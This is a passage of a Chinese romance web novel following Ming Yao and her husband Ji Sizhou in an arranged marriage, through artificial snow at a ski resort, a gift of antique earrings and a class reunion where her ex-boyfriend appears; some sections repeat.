明遥:“我相信你今年夏天也只能看到这唯一的一场雪。”
郑满栀:“嘿嘿,游戏开始了,让季斯舟多掼掼你,你想看雪什么时候他都给你下啊。”
明遥真诚发问:“为什么你觉得我玩的过季斯舟?”
“你玩得过。”
当局者迷罢了。
郑满栀看到这场雪就明白了——
季斯舟喜欢明遥。
还是一个清醒着沉沦的追求者,他,会配合明遥。
谈不上什么玩不玩,这不是明遥的游戏,而是季斯舟心甘情愿的沉沦游戏。
郑满栀脸上的笑藏不住,连带着看远处的男人心情都好了不少。
不错,也不是全然没有可取之处的。
如果近墨者黑近朱者赤,那这人应该还不错。
*
钟茗茗也没懂,怎么就休息了一中午的功夫,明遥不仅搞定了郑满栀红到发紫的城市系列,甚至还把她之前的那些作品的代理权搞定了。
这代表着什么。
代表着她们部门可以直接晋升了!
她心甘情愿的加班,因为明遥给她三倍工资,还可以赏雪,这场雪好美!
钟茗茗想打个电话给明遥分享一下喜悦的心情,却发现明遥的手机一直在通话中。
索性走到窗边去拍照留念给明遥姐看好了……钟茗茗往下定睛一看。
咦,那个人不是明遥姐吗?前面是季总……哇,好像偶像剧!
钟茗茗拿起相机一阵狂拍。
*
明遥拿着手机又拨通了季斯舟的电话,一边还准备下楼了:“季斯舟,你在哪里?”
“我在……”季斯舟的声音顿了顿,还没说出来在楼下,明遥又道,“你等会儿我?我下来了。”
心情好起来之后,食欲也恢复了,完全吃的下任何东西,不用再等。
“别下来,会很吵。”
明遥听见了,季斯舟可能是在降雪机的边上,她从窗户上看下去。
“望远镜看,就在之前你摔倒那个地方的边上,。”季斯舟说,“底下很冷,”
明遥才知道房间里居然连望远镜都准备了,她拿起一看,发现了季斯舟。他在雪地里,穿着一件黑色的大衣,整个人就像是清朗无双的贵公子。
他没撑伞,一步步走回来。雪花落在他的肩头。
像是知道明遥在看他一样,他精准地看到了明遥的方向,锋锐浓郁的目光在碰到这边的时候才柔和了下来。
然后对着这边挥了挥手。
明遥裹着毯子跑了下去,呼吸融化成一团团的白气,她的睫毛上凝固成漂亮的白色,又尖又翘。
季斯舟说:“先进去,我外套上都是雪,会很凉。”
明遥穿的少,他想拥抱明遥纤瘦的身躯,又怕冷到她。
明遥看到季斯舟,静静地站在他面前,忽然笑出来。
季斯舟不解:“干什么?”
明遥:“我出来找我的耳环,刚好遇见了你。”
明遥的手从毛毯里伸出来,指尖在季斯舟的肩膀,扫掉还未融化的雪。
她一伸手,季斯舟便低了头,明遥顺势将他发顶的那些湿润的细雪擦掉了。
两人都没意识到,这动作做起来有多自然。
明遥:“听说老虎的屁股摸不得。”
季斯舟的动作还停着,不知道明遥要说什么。
明遥:“摸了摸老虎的头,觉得也还行。”
人家给了自己一场漂亮的大雪,她投桃报李应该的。
她转身邀请温柔的老虎季斯舟来到自己的房间暖和一下,先将大衣烘干。
楼上的钟茗茗看的意犹未尽,“好甜呀……谁再敢说明遥姐和季总只是普通的塑料联姻我和谁急好吧。”
*
回了房间,明遥又捧上自己那杯热花茶喝上了。这次他们一起坐在了沙发上,明遥说:“真漂亮。”
季斯舟点头:“夏天的雪很难得,因为难得所以漂亮,下次还想看吗?”
明遥摇头:“不看了,如果我每天都能看见,迟早有一天我会变得不再觉得它珍贵。”
季斯舟笑了,不知道是想到了什么。他脱下来的外套一会儿自然有佣人过来收拾,烘干,如此名贵的东西,自然是小心的护理的。
明遥并不准备告诉季斯舟自己和郑满栀打的赌,季斯舟与她闲聊,气氛闲适:“我发了朋友圈。”
“我也拍了一张照片。”明遥说,“我发给你。”
就是刚才季斯舟走在雪地里的照片。
季斯舟放进相册里,但是他觉得自己远没有相册里明遥的那些照片好看,留着有些占内存。
他说:“明晚上我们去同学聚会。”
这么快,明遥完全没意识到又到周末了。
“还有两周没有回去吃饭了。妈妈昨天还在和我说,让我们回去住一天。”
明遥说:“嗯,你安排吧。”
闲聊结束的时候,他的大衣也烘干了,外面的雪已经落完,季斯舟便拿过大衣来准备离开。
明遥将自己喝空了的茶杯放下,跟着他到门口。
“对了。”季斯舟从口袋里拿出来一个首饰盒子,打开,里面是一双宝石耳坠,那一抹纯粹浓郁的蓝色立马闪了明遥的眼睛。
季斯舟道:“耳坠找到了,你不要再出去找,给你。”
明遥却一言不发,明亮的双眸一瞬不瞬地盯着男人,长卷的睫毛根根分明,漂亮的过分。
季斯舟干脆拉过她的手,将耳坠放置她的手心。
冰凉又沉甸甸的,明遥偏偏感到自己的心仿佛在被什么灼的滚烫。
季斯舟:“是这个吗?在雪地里只见着这个。”
“是这个。”明遥的心跳的很快,说话声音却一字一顿,慢慢的,“谢谢你,季斯舟。”
“是就好,很衬你的耳环,收好别丢了。”季斯舟对她稳重的道:“好好去休息一下。”
关了门,明遥捏着那对耳坠仔细看着。
半晌,她笑了。
季斯舟心思缜密……她现在忽然觉得自己是不是看人不准?
明遥认出来,在她掌心静静躺着的耳坠,是前阵子刚送去苏铂拍卖行准备拍卖的老古董,明遥只是知道它即将开售,昂贵又漂亮。
据说曾是艾诺古王国的第三任国王给早逝王后的订婚信物,寓意为:[我将用一生珍重你]
拍价未定,但保守估计也要八位数起。
她来的时候知道要滑雪,根本就没有戴耳环。
她的那句耳环掉了,纯属胡诌。
……<
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p>滑雪的这一天,明遥很累,晚上很快便睡熟。
梦中的雪地不是凉的,是被体温暖湿的雾气,她醒来的时候,一身都潮乎乎的,那双多情温和的漆黑双眸,始终注视着她,就在旁侧。
看她与之下的雪地一同湿润,融化,颤栗。
很难受。
她不解,为何会梦见和季斯舟在雪地里那样亲密。
他的大衣就放在地上,上面一层沾染的是他们的潮汗。下面是化掉的雪,连明遥自己都不清楚,为什么,为什么会这样……
她承认季斯舟这人的身材好,看来就是对自己的身体有吸引性,昨天季斯舟在自己面前脱掉了大衣,里面的黑色衬衫禁欲又诱人。
所以这很正常,明遥在心里对自己说。
整理了一会儿,明遥才起床,第二天没什么事情,公司那边也不用去了,于是在滑雪场度假一天,下午六点,她和季斯舟一起去同学聚会。
金融系一班和二班同时定在一天聚会,骆璟是二班的,自然也一起过去。但明遥没想到,骆璟的女伴居然带的是郑满栀。
郑满栀穿着蓬蓬的裙子,一脸倨傲和嫌弃:“要不是骆璟求我,说他要是不带女伴过去就会被唾沫星子吐死,我才懒得帮他。”
在郑满栀和骆璟的身上,明遥理解了什么叫做当局者迷。
一路上郑满栀都在和骆璟吵嘴,车厢里没有安静下来的时候,明遥也不觉得尴尬了。
她的耳朵上戴着昨天季斯舟给她拿回来的那副古董耳坠,晃动的时候,像是湛蓝的星海,衬得她乌发红唇,楚楚动人。
郑满栀眼睛直勾勾地盯着明遥的耳坠,意有所指:“漂亮的很,今晚咱们明大小姐无人能敌。”
明遥微笑:“小满,不如你和骆璟分一台车坐。”
郑满栀这笑而不语,自然不敢再调侃,乖乖和骆璟坐好。
到了酒楼,四人进的自然是不同的包厢,郑满栀悄声在明遥说:“今晚可要玩得愉快。”
明遥淡定地将鬓角卷曲发丝拂到耳后,露出自己典雅贵重的耳坠。
包厢里,已经几近坐满。
一班三十多个人,定的是多种好功能集一身的大包厢,打麻将的人互相笑骂,男人围了一桌台球,或是喝茶。
但所有人都不由自主地观望着门口的动静,因为最重量级的那个人还未到。
两人一进来,里面的声音安静了一瞬。
“终于过来啦你们!”何勉起身迎接他们,实在没想到明遥真的回来,眼睛都惊喜的亮了。
季斯舟的手也揽在了明遥的腰上,这只是个绅士的动作,虚虚地搭着她而已,明遥看着里面的人,十分得体的微笑。
“大家好,我是明遥。”
灯落在她的身上,眼里,恍得所有人心头砰砰直跳。
男人搭在她细腰上的手,更像是宣誓主权。
被季斯舟的眼神一扫,其余人统统反应过来,动作全停了,一窝蜂地冲上来寒暄。
明遥落落大方,和大家都打过招呼,才与季斯舟一同坐下。
有熟人的面孔,也有不熟悉的。明遥对这些都不感冒,也无所谓。她发现有道目光一直黏在自己的身上。明遥看了眼,是方意。
明遥反而朝她笑了笑,漂亮的唇开合,无声地说了句你好呀。
方意猝不及防,冷冷哼一声,捏紧了自己手里的茶杯。
她再讨厌明遥,也不得不承认,季斯舟和明遥一同出现的模样实在太登对,还有季斯舟看明遥的眼神……太耐人寻味。
竟让方意有一瞬的动摇,觉得季斯舟难不成是真的喜欢明遥吗?装能够装的这么好?她明明听笙姐说,他们不过是圈子里再普通不过的豪门联姻。
大家都是利益相关,方意见得多这种夫妻,连自己的父母也是。之前没有恋爱消息,忽然宣布婚讯,塑料假夫妻无疑。
这明明不是明遥熟悉的场合,她居然也这么吃得快,大家都围着她转!季斯舟也在边上陪着她,方意真是看不过去。
她问:“明遥姐,你在这种场合好吃的开,看来别人说的你在外面玩的多是真的哦?”
明遥喝了口温茶,捏着嗓子:“小妹妹,你没结婚不懂,我这叫做给我先生面子。”
尤其是先生那两个字,说的极娇气。
刚才进来时明遥就和季斯舟说好,今天要是碰见方意和谢庭笙,她要先嘴完再说,不到需要的时候用不着季斯舟帮忙。
“你放什么嗲?”方意搓了搓自己胳膊上起的鸡皮疙瘩,受不了一点。平心而论,明遥的嗲不难听,甚至很让人受用。她的声音声线变化的明明白白,就好像在告诉你:
没取悦你的意思,老娘就是心情好夹一下,愿者上勾,不愿意我也无所谓。
方意受不了的是她居然连夹都能夹的这么自在!
她望向还稳坐在椅子上的季斯舟,男人握着茶杯的指腹正在轻轻摩挲,方意找到了一丝希望。
读书的时候方意偷偷看一个好嗲的女人追到季斯舟面前表白,舟哥说了最不喜欢的就是这种类型的女人。
他刚才的动作,显而易见的不耐。
“舟哥,你说说话,明遥用这种声音难听死了!”
明遥看向季斯舟,缓声道:“是,老公你说句话啊老公。”
她这句老公一说出来,全场都安静了,包括季斯舟。
28. 第 28 章
外面的雪花还在落下,这突如其来的降雪犹如天赐的浪漫,也挥挥洒洒了围观的人一身。
滑雪的小情侣们兴奋地在大雪下转转圈,让自己的恋人为自己拍照留念。
漫天的大雪是人造的,但浪漫是真实的。
明遥出神地看着,温热的呼吸在透明的玻璃上晕出薄薄的雾气。
“喜欢吗?”季斯舟和她的停顿一并停顿,“要是不喜欢,那就……”
明遥说:“季斯舟,你为什么没给我擦眼泪,因为也看出来我的眼泪也是假的?”
季斯舟说:“没有。”他顿了顿,声音染上意思歉意,“因为第一次见到你这样哭,我那一瞬间紧张了。”
“等回过神后,你就起来走了,所以我没办法……如果有下次,我肯定会给你擦掉眼泪,但是我更像让你以后不要再有哭的事情。”
明遥觉得自己的心也和这些大雪一样,这些雪花一样,在一片一片的融化。
她呼出一口气,又呼出一口气。
“季斯舟。”明遥轻轻地说,“你让我输了。”
不过,她输的心服口服。
“嗯?”
明遥却不说话,轻声说:“一会儿再说,我给小满回个电话去。”
虽然季斯舟不知道怎么明遥忽然要在这个气氛很好的时候去和郑满栀打电话,但是他尊重了明遥。
此刻,明遥知道,郑满栀当时说那句话是说对了。
在自己面前献殷勤的人那么多,可以选择赌的人也很好,当时凭什么就同意了季家的婚约?
从外界来看,似乎明遥选择的是地位。
甚至连她自己也只是到这个时候才意识到:她只会被真心所折服。
季斯舟那时候的靠近没有锋芒,温柔的像是救世主,明遥需要承认,季斯舟那次为她盖住的西装外套,非常的温暖,从身体到心。
“我赢了!我赢了!我赢了!”郑满栀兴奋地大叫,她第一时间给明遥打来了电话,那边还有大口喘息的声音,郑满栀跑出去了。
“是,你赢了。”明遥打开窗户,冷气惯进了温暖的房间,她裹着毛毯伸手去拿那一片片的雪花,“我输了。”
“愿赌服输吗?”郑满栀在那边大喊,“你输了!你就要按照我说的做!反正现在只有这么点的时间,你应该也不在意的是不是?”
她和明遥赌,赌明遥坐在地上假装摔倒了,还要好委屈的掉眼泪,去告诉季斯舟自己想看一场雪,季斯舟会不会答应。
当时很明显,降雪机刚刚才走,为了节约成本,降雪机都不是连续作业的,时间和区域都有明确的划分。
而且哪有人在滑雪场摔了一下,就忽然说要看雪的?这个需求有些离谱,由明遥说出来,就看季斯舟愿不愿意为她做到。
明遥当时没觉得自己会赢,她觉得季斯舟并不是一个会跟着她胡闹的人,所以明遥说:“你不可能赢,季斯舟不会这么做的。”
赌约就此成立。
“如果他真的做到了,你就答应我,试着去了解一下季斯舟,不需要给他什么,就是承认他是你丈夫。”郑满栀说,“试试去挖掘一下季斯舟的另一面,不那么古板严肃无趣的那一面。”
“而你呢,别隐藏自己的魅力,也别压抑自己。”郑满栀说起这个一脸笑,“你知道季斯舟是多少人定下的梦中老公标准吗?”
千言万语的,就是让她别只把季斯舟当合作伙伴,而是真正站在自己身边的丈夫。
明遥:“就按之前我们说的做,了解他,可以。”
但是上床,算了。
季斯舟能为她这么做,明遥很有好感,但不代表欲望。
郑满栀也知道不能一次完成,明遥的防备心高,季斯舟任重道远,她想了想。
“做你的蛇蝎美人吧,利用好季斯舟,然后心情好的时候就给男人一点甜头,道德感,丢掉!不管不顾不受委屈,才是你明遥该过的日子。”郑满栀的赌约就是来为她打破这个枷锁的。
郑满栀兴奋不已,还在喋喋不休,说这是自己看见过的今年夏天最漂亮的一场雪。
明遥:“我相信你今年夏天也只能看到这唯一的一场雪。”
郑满栀:“嘿嘿,游戏开始了,让季斯舟多掼掼你,你想看雪什么时候他都给你下啊。”
明遥真诚发问:“为什么你觉得我玩的过季斯舟?”
“你玩得过。”
当局者迷罢了。
郑满栀看到这场雪就明白了——
季斯舟喜欢明遥。
还是一个清醒着沉沦的追求者,他,会配合明遥。
谈不上什么玩不玩,这不是明遥的游戏,而是季斯舟心甘情愿的沉沦游戏。
郑满栀脸上的笑藏不住,连带着看远处的男人心情都好了不少。
不错,也不是全然没有可取之处的。
如果近墨者黑近朱者赤,那这人应该还不错。
*
钟茗茗也没懂,怎么就休息了一中午的功夫,明遥不仅搞定了郑满栀红到发紫的城市系列,甚至还把她之前的那些作品的代理权搞定了。
这代表着什么。
代表着她们部门可以直接晋升了!
她心甘情愿的加班,因为明遥给她三倍工资,还可以赏雪,这场雪好美!
钟茗茗想打个电话给明遥分享一下喜悦的心情,却发现明遥的手机一直在通话中。
索性走到窗边去拍照留念给明遥姐看好了……钟茗茗往下定睛一看。
咦,那个人不是明遥姐吗?前面是季总……哇,好像偶像剧!
钟茗茗拿起相机一阵狂拍。
*
明遥拿着手机又拨通了季斯舟的电话,一边还准备下楼了:“季斯舟,你在哪里?”
“我在……”季斯舟的声音顿了顿,还没说出来在楼下,明遥又道,“你等会儿我?我下来了。”
心情好起来之后,食欲也恢复了,完全吃的下任何东西,不用再等。
“别下来,会很吵。”
明遥听见了,季斯舟可能是在降雪机的边上,她从窗户上看下去。
“望远镜看,就在之前你摔倒那个地方的边上,。”季斯舟说,“底下很冷,”
明遥才知道房间里居然连望远镜都准备了,她拿起一看,发现了季斯舟。他在雪地里,穿着一件黑色的大衣,整个人就像是清朗无双的贵公子。
他没撑伞,一步步走回来。雪花落在他的肩头。
像是知道明遥在看他一样,他精准地看到了明遥的方向,锋锐浓郁的目光在碰到这边的时候才柔和了下来。
然后对着这边挥了挥手。
明遥裹着毯子跑了下去,呼吸融化成一团团的白气,她的睫毛上凝固成漂亮的白色,又尖又翘。
季斯舟说:“先进去,我外套上都是雪,会很凉。”
明遥穿的少,他想拥抱明遥纤瘦的身躯,又怕冷到她。
明遥看到季斯舟,静静地站在他面前,忽然笑出来。
季斯舟不解:“干什么?”
明遥:“我出来找我的耳环,刚好遇见了你。”
明遥的手从毛毯里伸出来,指尖在季斯舟的肩膀,扫掉还未融化的雪。
她一伸手,季斯舟便低了头,明遥顺势将他发顶的那些湿润的细雪擦掉了。
两人都没意识到,这动作做起来有多自然。
明遥:“听说老虎的屁股摸不得。”
季斯舟的动作还停着,不知道明遥要说什么。
明遥:“摸了摸老虎的头,觉得也还行。”
人家给了自己一场漂亮的大雪,她投桃报李应该的。
她转身邀请温柔的老虎季斯舟来到自己的房间暖和一下,先将大衣烘干。
楼上的钟茗茗看的意犹未尽,“好甜呀……谁再敢说明遥姐和季总只是普通的塑料联姻我和谁急好吧。”
*
回了房间,明遥又捧上自己那杯热花茶喝上了。这次他们一起坐在了沙发上,明遥说:“真漂亮。”
季斯舟点头:“夏天的雪很难得,因为难得所以漂亮,下次还想看吗?”
明遥摇头:“不看了,如果我每天都能看见,迟早有一天我会变得不再觉得它珍贵。”
季斯舟笑了,不知道是想到了什么。他脱下来的外套一会儿自然有佣人过来收拾,烘干,如此名贵的东西,自然是小心的护理的。
明遥并不准备告诉季斯舟自己和郑满栀打的赌,季斯舟与她闲聊,气氛闲适:“我发了朋友圈。”
“我也拍了一张照片。”明遥说,“我发给你。”
就是刚才季斯舟走在雪地里的照片。
季斯舟放进相册里,但是他觉得自己远没有相册里明遥的那些照片好看,留着有些占内存。
他说:“明晚上我们去同学聚会。”
这么快,明遥完全没意识到又到周末了。
“还有两周没有回去吃饭了。妈妈昨天还在和我说,让我们回去住一天。”
明遥说:“嗯,你安排吧。”
闲聊结束的时候,他的大衣也烘干了,外面的雪已经落完,季斯舟便拿过大衣来准备离开。
明遥将自己喝空了的茶杯放下,跟着他到门口。
“对了。”季斯舟从口袋里拿出来一个首饰盒子,打开,里面是一双宝石耳坠,那一抹纯粹浓郁的蓝色立马闪了明遥的眼睛。
季斯舟道:“耳坠找到了,你不要再出去找,给你。”
明遥却一言不发,明亮的双眸一瞬不瞬地盯着男人,长卷的睫毛根根分明,漂亮的过分。
季斯舟干脆拉过她的手,将耳坠放置她的手心。
冰凉又沉甸甸的,明遥偏偏感到自己的心仿佛在被什么灼的滚烫。
季斯舟:“是这个吗?在雪地里只见着这个。”
“是这个。”明遥的心跳的很快,说话声音却一字一顿,慢慢的,“谢谢你,季斯舟。”
“是就好,很衬你的耳环,收好别丢了。”季斯舟对她稳重的道:“好好去休息一下。”
关了门,明遥捏着那对耳坠仔细看着。
半晌,她笑了。
季斯舟心思缜密……她现在忽然觉得自己是不是看人不准?
明遥认出来,在她掌心静静躺着的耳坠,是前阵子刚送去苏铂拍卖行准备拍卖的老古董,明遥只是知道它即将开售,昂贵又漂亮。
据说曾是艾诺古王国的第三任国王给早逝王后的订婚信物,寓意为:[我将用一生珍重你]
拍价未定,但保守估计也要八位数起。
她来的时候知道要滑雪,根本就没有戴耳环。
她的那句耳环掉了,纯属胡诌。
……<
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p>滑雪的这一天,明遥很累,晚上很快便睡熟。
梦中的雪地不是凉的,是被体温暖湿的雾气,她醒来的时候,一身都潮乎乎的,那双多情温和的漆黑双眸,始终注视着她,就在旁侧。
看她与之下的雪地一同湿润,融化,颤栗。
很难受。
她不解,为何会梦见和季斯舟在雪地里那样亲密。
他的大衣就放在地上,上面一层沾染的是他们的潮汗。下面是化掉的雪,连明遥自己都不清楚,为什么,为什么会这样……
她承认季斯舟这人的身材好,看来就是对自己的身体有吸引性,昨天季斯舟在自己面前脱掉了大衣,里面的黑色衬衫禁欲又诱人。
所以这很正常,明遥在心里对自己说。
整理了一会儿,明遥才起床,第二天没什么事情,公司那边也不用去了,于是在滑雪场度假一天,下午六点,她和季斯舟一起去同学聚会。
金融系一班和二班同时定在一天聚会,骆璟是二班的,自然也一起过去。但明遥没想到,骆璟的女伴居然带的是郑满栀。
郑满栀穿着蓬蓬的裙子,一脸倨傲和嫌弃:“要不是骆璟求我,说他要是不带女伴过去就会被唾沫星子吐死,我才懒得帮他。”
在郑满栀和骆璟的身上,明遥理解了什么叫做当局者迷。
一路上郑满栀都在和骆璟吵嘴,车厢里没有安静下来的时候,明遥也不觉得尴尬了。
她的耳朵上戴着昨天季斯舟给她拿回来的那副古董耳坠,晃动的时候,像是湛蓝的星海,衬得她乌发红唇,楚楚动人。
郑满栀眼睛直勾勾地盯着明遥的耳坠,意有所指:“漂亮的很,今晚咱们明大小姐无人能敌。”
明遥微笑:“小满,不如你和骆璟分一台车坐。”
郑满栀这笑而不语,自然不敢再调侃,乖乖和骆璟坐好。
到了酒楼,四人进的自然是不同的包厢,郑满栀悄声在明遥说:“今晚可要玩得愉快。”
明遥淡定地将鬓角卷曲发丝拂到耳后,露出自己典雅贵重的耳坠。
包厢里,已经几近坐满。
一班三十多个人,定的是多种好功能集一身的大包厢,打麻将的人互相笑骂,男人围了一桌台球,或是喝茶。
但所有人都不由自主地观望着门口的动静,因为最重量级的那个人还未到。
两人一进来,里面的声音安静了一瞬。
“终于过来啦你们!”何勉起身迎接他们,实在没想到明遥真的回来,眼睛都惊喜的亮了。
季斯舟的手也揽在了明遥的腰上,这只是个绅士的动作,虚虚地搭着她而已,明遥看着里面的人,十分得体的微笑。
“大家好,我是明遥。”
灯落在她的身上,眼里,恍得所有人心头砰砰直跳。
男人搭在她细腰上的手,更像是宣誓主权。
被季斯舟的眼神一扫,其余人统统反应过来,动作全停了,一窝蜂地冲上来寒暄。
明遥落落大方,和大家都打过招呼,才与季斯舟一同坐下。
有熟人的面孔,也有不熟悉的。明遥对这些都不感冒,也无所谓。她发现有道目光一直黏在自己的身上。明遥看了眼,是方意。
明遥反而朝她笑了笑,漂亮的唇开合,无声地说了句你好呀。
方意猝不及防,冷冷哼一声,捏紧了自己手里的茶杯。
她再讨厌明遥,也不得不承认,季斯舟和明遥一同出现的模样实在太登对,还有季斯舟看明遥的眼神……太耐人寻味。
竟让方意有一瞬的动摇,觉得季斯舟难不成是真的喜欢明遥吗?装能够装的这么好?她明明听笙姐说,他们不过是圈子里再普通不过的豪门联姻。
大家都是利益相关,方意见得多这种夫妻,连自己的父母也是。之前没有恋爱消息,忽然宣布婚讯,塑料假夫妻无疑。
这明明不是明遥熟悉的场合,她居然也这么吃得快,大家都围着她转!季斯舟也在边上陪着她,方意真是看不过去。
她问:“明遥姐,你在这种场合好吃的开,看来别人说的你在外面玩的多是真的哦?”
明遥喝了口温茶,捏着嗓子:“小妹妹,你没结婚不懂,我这叫做给我先生面子。”
尤其是先生那两个字,说的极娇气。
刚才进来时明遥就和季斯舟说好,今天要是碰见方意和谢庭笙,她要先嘴完再说,不到需要的时候用不着季斯舟帮忙。
“你放什么嗲?”方意搓了搓自己胳膊上起的鸡皮疙瘩,受不了一点。平心而论,明遥的嗲不难听,甚至很让人受用。她的声音声线变化的明明白白,就好像在告诉你:
没取悦你的意思,老娘就是心情好夹一下,愿者上勾,不愿意我也无所谓。
方意受不了的是她居然连夹都能夹的这么自在!
她望向还稳坐在椅子上的季斯舟,男人握着茶杯的指腹正在轻轻摩挲,方意找到了一丝希望。
读书的时候方意偷偷看一个好嗲的女人追到季斯舟面前表白,舟哥说了最不喜欢的就是这种类型的女人。
他刚才的动作,显而易见的不耐。
“舟哥,你说说话,明遥用这种声音难听死了!”
明遥看向季斯舟,缓声道:“是,老公你说句话啊老公?”
她这句老公一说出来,全场都安静了,包括季斯舟。
29. 第 29 章
大家倒是都知道,明遥素来喜欢排场,在父亲没有去世之前,哪怕她与家中关系寡淡,但物质从来不缺,没在外面受过委屈。
她骄纵的很,又有年轻和优秀作为资本,在国外时也身手追捧。
但季家是名门望族,外人看来,明遥嫁进去之后,应该会有所收敛。
可是今天一看。
怎么好还有变本加厉的趋势?
季斯舟是怎么受得了的。
季斯舟的喉结滚动了两下,手指忍不住收紧。
他在紧张的时候也就这几个假动作。
季斯舟缓口气,接收到明遥的信号,点头道:“我要说什么?”
他才把自己的手里的杯子放下,视线平淡地扫过众人。
“她什么样子,我都喜欢。”
众人:!!!
夭、夭寿了……今天是什么大日子,居然能听见季斯舟这万年大冰山秀恩爱!
明遥闻言,挑衅地对方意挑了挑眉。
背在身后的另一只手对着季斯舟的方向比了个OK,做的不错。
季斯舟在众目睽睽之下给明遥倒上茶:“说这么多,不渴?”
明遥看一眼就别开:“不想喝。”
满座惊愕的眼神她权当没看见,不知道这些人在惊讶什么?
“大家继续吃,不用管我们。”明遥又挂起微笑,继而低声偏头问,“怎么回事啊季先生,他们怎么这样看我。”
何勉终于安排好事情过来,恰巧就坐在季斯舟的另外一侧,笑着说:“没有人敢指挥他的,还得是他太太来。”
方意在对侧憋屈地听着,还给谢庭笙发消息:【你快点来呀!不然这场子全要变成明遥的了!】
谢庭笙回:【一会儿带着导师一起过来。】
方意这才满意地收起手机。
谢庭笙和季斯舟当时可是导师石怀珠最喜欢的两个学生,在学校的时候还撮合过他们。
季斯舟这是第一次在同学聚会上露面,想来攀谈的人不少,但季斯舟话少,顶多容忍对方自己喝一杯。
再多的时间他便没有了。
“不好意思,我要陪太太。”
明遥没看过手机,拿着桌上的小糕点在吃,听到季斯舟这句话差点说他一句不要脸,忍住回头说:“你倒是找了个好借口。”
难怪要带她来,能挡不少假客套。
季斯舟也笑,不置可否:“无聊吗?”
从上次聚会季斯舟就看出来了,明遥虽然喜欢热闹,却不喜欢长期在这种虚伪的热络中。
“有一点。”明遥今天的风头也出了,该到场做的都做了,自然开始困倦,她说,“我想去个洗手间。”
“我和你一起去?”
“不用,你还有许多老同学等着和你叙旧,我出去一下就回来了。”明遥拿起自己嗡嗡响的手机,边看边走出去。
郑满栀找她,消息不停跳出。
【你快点出来!!!马上出来!!!】
【你猜我看见谁了,我看见徐承淮了!!!】
【他现在在南大任教,和季斯舟的导师一起到场的,等会儿还要过来你们那边!你回去算了!】
明遥看的这些消息看的一脸问号。
徐承淮。
死去的记忆忽然开始攻击自己了。
洗手间外面,郑满栀提着裙子就跑来找她了。
“谁他妈的知道,那个谢庭笙的导师现在和徐承淮居然是准男女朋友,徐承淮河你负责打击太大了,完全变了个人,完全不是之前正经的样子了!我看到他进来的时候都惊了。”
郑满栀的脸色古怪:“你和人家分手的时候就说的你不喜欢死板正经人,现在他真不正经了,和人家石老师玩姐弟恋。”
石怀珠虽然是年少有为那一挂,早婚离异,今年已经快四十岁了,和她们差了十多岁。
“那是他们石老师有魅力。”明遥打开水龙头,把洗手液戳出泡泡:“我和徐承淮已经是过去的事情了,我不尴尬。”
你不尴尬,我都替你尴尬啊乖乖。
郑满栀心里直犯嘀咕,嘴上说:“别忘了你现在是已婚人士,你老公要是吃个醋……”
明遥把手甩一甩,不太在意:“他醋他的,那又怎么样。”
而且只要自己不说,谁能知道以前徐承淮是她前男友。
“但是在那桌的时候,谢庭笙她们还聊起你了,徐承淮知道了和季斯舟结婚的人是你。”郑满栀说,“现在徐承淮和石怀珠到你们包厢敬酒去了。”
明遥叹口气:“非得要我这条命不可吗?”
她其实真正算谈过的就只有徐承淮一个,后来三个月不到和平分手,明遥当时随口说的分手理由:我喜欢玩的花的,你太正经了。
“你的风流债,自己去还,要么就跑。”郑满栀凑到明遥的耳边给她支招,“也不是没破局之法,如果你老公生气了,亲他一下试试。”
“有病。放心,他不会生气的。”
明遥拿上包,走出了卫生间。
*
包厢里,谢庭笙带着导师过来了,她一眼就看到了那个疏离冷淡的男人,还有他身边空缺的位置。
谢庭笙的心里酸酸的。
她不过是在外面多久?再回来的时候,季斯舟就结婚了。明明在前两个月的采访里,季斯舟还不允许记者询问任何关于私生活的事。
“好久不见了,舟哥。”谢庭笙的尾音有不易察觉的颤抖,后头石怀珠和徐承淮也走了进来。
在主座上的男人似乎并未在意门边的动静,转头过来之后,视线也是先落在导师石怀珠的身上,再移到旁边的徐承淮。
徐承淮和季斯舟平静无波的眸子碰上,心中却禁不住泛起酸涩。
原来这就是明遥后来选择的人。
他本来不该来,可是知道这局里有季斯舟,便想知道这男人到底是哪里出色入了明遥的眼。
除了有钱,可明遥自己也有钱,压根就不是那种为了钱和人在一起的性子。
更重要的是,明遥分明说过自己不喜欢正经的人。谁不知道季斯舟君子端方,别的人在季斯舟的面前连半句玩笑都不敢开。
这样的人怎么能和明遥在一起?
徐承淮这几年改了,只因明遥一句不喜欢那种严肃的男人。他还回了国,满心期待着重新回到明遥的面前,却得到了明遥结婚的消息。
一进来,他就感觉到了季斯舟的不同,如鹤立鸡群,太打眼,哪怕男人神情淡漠,基本没怎么开口。
徐承淮走过去的时候,季斯舟已经喝了谢庭笙和石怀珠一同敬的酒,谢庭笙见季斯舟的身边空着,便要坐过去,季斯舟终于说了句字多点的话。
“这是我太太的位置。”
“你太太?!你太太竟然也和你来了?”石怀珠惊讶道,“不是听说那小姑娘不太喜欢这种场合,还以为她会觉得无聊。”
无聊?她可一点也无聊,季斯舟想起了明遥的八百个假动作,唇边一点点的笑意,什么其他的都没说。
方意哼一声:“大小姐做派,石老师,你身边的这是?”
石怀珠招呼徐承淮在身边一同落座,笑道:“徐承淮,我们学校新来的老师,带来和大家见见。”
她亲自给徐承淮布了碗筷,其他学生自然便明白了,石怀珠说:“刚刚小徐还在和我说,羡慕斯舟英年早婚,还想见见你太太和你有多恩爱。”
提到了明遥,季斯舟的视线才看了过去,对着徐承淮颔首。
徐承淮看向季斯舟身边的空座,“季总一定是你太太喜欢的类型,她年纪小你几岁,这么早就定性与你结婚。”
季斯舟微微挑眉,还没说话,谢庭笙就说:“是么?明遥以前不是最不喜欢我们舟哥这种类型。”
季斯舟敛眸:“你们很了解我太太的喜好?”
方意:“嗬,我们这可不算是道听途说,先前玩在一起的人说起过,明遥讨厌老古板的严肃类型,结婚若是和一个什么花样都没有老男人结了,那和自己找个管着自己的爹有什么区别?她亲口说的,不然你可以自己问。”
季斯舟有几分的心思沉浮。
若真是这样,难为明遥能和自己这种完全不是择偶标准的人结婚,是否还是有那么一丝好感在……
谢庭笙:“她喜欢那种玩得开,有活力,花样多的,小姑娘家倒是都喜欢这一款。”
“那说的不就是小徐?小徐还羡慕你英年早婚,他也想结呢。”石怀珠不知学生之间是在暗潮涌动,语气轻快,“那之后等你太太来了,不得舍不得让他们认识。”
季斯舟:“我愿意,您可不想同意吧?”
石怀珠哈哈大笑,她不过当是个玩笑,年龄和阅历摆在这里。可说者无意,听者有心,男人和男人之间才懂得的针锋相对在空中对接。
季斯舟道:“徐先生这么想结婚,不知对太太的理想型是什么。”
